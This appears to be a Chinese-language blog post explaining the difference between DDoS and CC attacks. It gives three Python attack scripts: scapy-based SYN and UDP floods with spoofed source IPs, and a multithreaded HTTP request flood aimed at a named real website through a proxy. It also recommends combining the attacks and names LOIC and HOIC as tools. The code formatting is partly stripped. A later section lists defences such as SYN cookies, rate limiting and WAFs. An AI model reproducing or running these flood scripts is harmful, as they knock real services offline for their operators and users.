DDOS攻击和CC攻击区别和示例

📅 2026/6/30 16:17:18
DDOS攻击和CC攻击区别和示例
前言:网上有很多关于DDOS和CC攻击的讨论,我在这里也不多说,不然越说越乱.简单一句话DDOS打带宽流量;CC打服务器cpu. 传统DDOS攻击性较大,流量耗费大(自己主机可能会先崩溃),CC攻击流量小,适合长时间持续攻击我在这里举几个例子(都是教学版,实战写得没那么简单)DDOS(tcp)import threading from scapy.all import * import random import time desIp#服务器ip targetPort80 count0 lockthreading.Lock() lastTimetime.time() def attackThread():#攻击线程 global count,lastTime while True: srcIpf{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}#伪造源ip(伪造ip,服务器永远收不到ACK响应) ipIP(srcsrcIp,dstdesIp)#构造ip头部 tcpTCP(sportrandom.randint(1024,65535),dporttargetPort,flagsS)#(S代表SYN标志位) send(ip/tcp,verboseFalse)#发送数据包(verbose表示不打印发送日志) ##攻击 with lock:#with自动加锁 countcount1 nowtime.time()#获取当前时间 if now-lastTime1: print(success attack %s%(count)packet/s) count0 lastTimenow ##打印攻击日志(测试用) if __name____main__: for i in range(1,10): threadthreading.Thread(targetattackThread)#创建线程 thread.daemonTrue#守护线程 thread.start() while True:#保持主线程睡眠不退出 time.sleep(0.1)效果:小提示:Windows现在无法运行TCP原始套接字,上面的代码要放在linux运行DDOS(udp)import threading from scapy.all import * import random import time desIp#服务器ip targetPort80 count0 lockthreading.Lock() lastTimetime.time() def attackThread():#攻击线程 global count,lastTime while True: srcIpf{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}.{random.randint(1,255)}#伪造源ip(伪造ip,服务器永远收不到ACK响应) ipIP(srcsrcIp,dstdesIp)#构造ip头部 udpUDP(sportrandom.randint(1024,65535),dporttargetPort)#构造udp包 payloadX*1400#负载(装满了东西的包裹) send(ip/udp/payload,verboseFalse) ##攻击 with lock:#with自动加锁 countcount1 nowtime.time()#获取当前时间 if now-lastTime1: print(success attack %s%(count)packet/s) count0 lastTimenow ##打印攻击日志(测试用) if __name____main__: for i in range(1,10): threadthreading.Thread(targetattackThread)#创建线程 thread.daemonTrue#守护线程 thread.start() while True:#保持主线程睡眠不退出 time.sleep(0.1)效果:CCimport threading import requests url https://www.gcweb.cc count1000 proxies { http: http://127.0.0.1:7890, https: http://127.0.0.1:7890, } def request(): try: resp requests.get(url,proxiesproxies)#发送请求 print(success request%s%(resp.status_code)) except requests.exceptions.RequestException as e: print(rerror%s%(e)) def main(): threads []#设置线程列表 for i in range(count): thread threading.Thread(targetrequest)#创建请求线程 thread.start()#启用线程 threads.append(thread) for thread in threads: thread.join()#等待线程结束 if __name__ __main__: main()效果:(虽然没DDOS强,但设置了代理,持久性好)实战的时候一般要混合攻击,DDOS和CC结合起来拓展DDOS(TCP)、DDOS(UDP)、CC攻击效果对比攻击类型发送数据量目标资源消耗攻击效果TCP SYN Flood~1.2GB假包连接表满载网站连接超时UDP Flood~34GB大包带宽被占满网站完全打不开CC攻击~500MB真实HTTPCPU 100%网站极其缓慢混合攻击三者结合全部一起上全面崩溃服务器宕机误区:CC攻击其实也是DDOS,但因为它的特殊性(最接近真实用户、最难防御、成本效益最高),通常把它和传统DDOS攻击区分开来.(DDoS是“常规部队”,粗暴但有效;CC攻击是“特种部队”,精准且狡猾)防御:TCP SYN Flood 防御攻击原理回顾攻击者发送大量伪造IP的SYN包服务器等待ACK响应半连接队列被填满。防御方法防御手段原理实现方式SYN Cookie不分配内存存连接状态用算法验证Linux内核默认开启增大连接队列提高服务器承受能力net.ipv4.tcp_max_syn_backlog缩短超时时间快速释放等待的连接net.ipv4.tcp_synack_retriesSYN Proxy防火墙代收SYN包验证通过再转发硬件防火墙UDP Flood 防御攻击原理回顾攻击者发送大量UDP包占满目标服务器带宽。防御方法防御手段原理适用场景带宽扩容带宽比攻击流量大硬扛大企业/云服务商流量清洗识别并丢弃异常UDP流量高防机房限速限制每秒UDP包数量服务器自身端口关闭关闭不用的UDP端口减少攻击面黑洞路由丢弃所有到该IP的流量极端情况牺牲服务保网络CC攻击HTTP Flood防御攻击原理回顾攻击者发送大量HTTP请求消耗服务器CPU/数据库资源。防御方法防御手段原理实现难度WAFWeb防火墙识别异常请求特征拦截攻击简单购买服务验证码确认是真人操作简单CDN加速分散流量边缘节点缓存简单IP黑名单封禁攻击源IP简单但效果有限请求限频限制单个IP请求频率中等业务逻辑优化减少CPU/数据库消耗复杂动态验证如点击验证、滑块验证中等相关工具:HOIC(高轨道离子炮)和LOIC(低轨道离子炮)都可以,个人测试用LOIC足够了免责声明:本文纯属技术交流,未授权的网络攻击行为属于违法行为,本人不承担任何因本文内容造成的后果,作者不承担任何责任.原文地址:DDOS攻击和CC攻击区别和示例